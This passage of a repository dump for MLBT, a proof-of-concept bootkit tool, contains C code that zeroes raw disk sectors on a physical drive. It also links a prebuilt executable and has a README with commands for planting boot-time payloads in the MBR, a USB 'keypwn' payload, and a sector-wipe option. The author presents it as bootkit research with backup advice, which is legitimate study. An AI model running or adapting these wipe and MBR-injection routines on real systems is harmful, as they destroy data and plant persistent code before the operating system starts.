distributed in the hope that it will be useful, 10 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | // GNU General Public License for more details. 13 | // 14 | // You should have received a copy of the GNU General Public License 15 | // along with this program. If not, see . 16 | #include "bootkit_tool.h" 17 | 18 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 19 | // Description : 20 | // Wipe sectors starting from sector #2 21 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 22 | DWORD wipe_device_sectors(char* device_name, DWORD count) 23 | { 24 | PBYTE buffer; 25 | HANDLE hPD; 26 | DWORD len; 27 | 28 | if(count > 0x1000) 29 | { 30 | printf("[!] Too many sectors.\n"); 31 | return -1; 32 | } 33 | 34 | buffer = (PBYTE)malloc(bytes_per_sector*count); 35 | memset(buffer, 0, bytes_per_sector*count); 36 | 37 | hPD = CreateFileA(device_name,GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL); 38 | if(SetFilePointer(hPD,bytes_per_sector,NULL,FILE_BEGIN) != bytes_per_sector) 39 | { 40 | printf("[!] Can't go to offset 0x%x\n",bytes_per_sector); 41 | CloseHandle(hPD); 42 | free(buffer); 43 | return -1; 44 | } 45 | if(!WriteFile(hPD,buffer,bytes_per_sector*count,&len,NULL)) 46 | { 47 | printf("[!] Can't wipe.\n"); 48 | CloseHandle(hPD); 49 | free(buffer); 50 | return -1; 51 | } 52 | 53 | printf("[-] Sectors wiped.\n"); 54 | CloseHandle(hPD); 55 | free(buffer); 56 | return 0; 57 | } 58 | -------------------------------------------------------------------------------- /MLBT.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/conix-security/MLBT/6029ce4cf8a64ffb1f6e7ec6b5be2fe468399f73/MLBT.exe -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | MLBT 2 | ==== 3 | 4 | This tool is just a p0c I wrote while working on bootkits. It allows 5 | many things such as dumping sectors on a specific device, placing 6 | 16 bit payload at startup (it writes a specific code which will load 7 | and execute your payload, and relocates the original bootstrap code 8 | which you can load and execute after processing), display ascii art 9 | (or simple messages) before booting (a special payload is generated), 10 | save/restore the actual bootstrap + partition table, etc. 11 | 12 | Payloads will be loaded and executed at 0000:0800, and overwritten 13 | code is at 0000:0600. To execute original bootstrap, just copy 0x200 14 | bytes from 0000:0600 to 0000:7c00, or load the sector with the original 15 | backuped bootstrap at 0000:7c000. To find it, parse the code at sector 1. 16 | 17 | While writing anything on a device, a dump is performed, and I strongly 18 | advise you to keep this dump on a separate device, just in case you 19 | overwrite your partition table / bootloader :]. 20 | 21 | Examples: 22 | ========= 23 | 24 | Dump 4 sectors : MLB.exe -p 1 -l 0 4 25 | 26 | Display "pwn.txt" ascii art message at boot : MLB.exe -p 1 -aaW ".\pwn.txt" 27 | 28 | Run "print_boot2" code at boot : MLB.exe -p 0 -irW "print_boot2" 29 | 30 | Run "keypwn" code on PhysicalDrive1 : MLB.exe -p 1 -irW "keypwn" 31 | 32 | Wipe 30 sectors (starting at sector #2) of PhysicalDrive1 : MLB.exe -p 1 -wipe 30 33 | 34 | Backup MBR + part. table of PhysicalDrive0 into "backup.bin" : MLB.exe -p 0 -b1 backup.bin 35 | 36 | 37 | The keypwn example: 38 | =================== 39 | 40 | The keypwn.asm code purpose is to be written into a removable drive such 41 | as a USB key. While booting it, it allows you to place an ascii art 42 | message at the primary disk startup (works the same as the ascii art 43 | feature of the regular tool works). It should not overwrite anything but 44 | the MBR code (not the bootloader : it checks for null bytes code caves), 45 | but the original 1st sector is backuped into the USB key (sector #0xF) 46 | for rescue purpose. The second option allows you to restore the saved 47 | data to the disk. 48 | --------------------------------------------------------------------------------